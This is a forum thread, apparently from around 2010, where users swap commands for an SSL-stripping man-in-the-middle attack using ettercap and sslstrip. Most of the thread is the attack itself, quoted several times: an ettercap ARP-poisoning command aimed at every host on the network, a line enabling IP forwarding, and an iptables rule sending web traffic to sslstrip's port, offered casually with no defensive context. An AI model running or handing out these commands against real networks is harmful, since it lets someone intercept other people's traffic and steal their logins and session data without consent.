Strip Ssl Via Ettercap Man In The Middle Attack

[miT]

Back at Black Hat 2009, sslstrip was demonstrated and Darren even used the tool in this past season of Hak5.

If anyone is interested in stripping ssl in Ubuntu Linux, i posted a nice how-to article on my blog.

http://timashley.me/node/368

Enjoy!

[sablefoxx]

for those prefer the command line (looks more badass);

ettercap -T -q -i <interface> -P auto -M arp // //

I find it's also nice to save my iptables for future use, cuts down on typing;

sudo iptables-save <filename>
sudo iptables-restore <filename>

Edited February 28, 2010 by sablefoxx

[pieface]

for those prefer the command line (looks more badass);

ettercap -T -q -i <interface> -P auto -M arp // //

I find it's also nice to save my iptables for future use, cuts down on typing;

sudo iptables-save <filename>
sudo iptables-restore <filename>

---

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

[miT]

for those prefer the command line (looks more badass);

ettercap -T -q -i <interface> -P auto -M arp // //

I find it's also nice to save my iptables for future use, cuts down on typing;

sudo iptables-save <filename>
sudo iptables-restore <filename>

I almost always prefer the terminal over anything (see my videos) but Ettercap has a really useful GUI. Not only is it easier and faster to manage my hosts/targets with, it's also has a pretty sweet interface. Why pass that up? :)

---

echo 1 > /proc/sys/net/ipv4/ip_forward

Covered that in step 6 ...

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

... annnd step 8

Edited March 13, 2010 by miT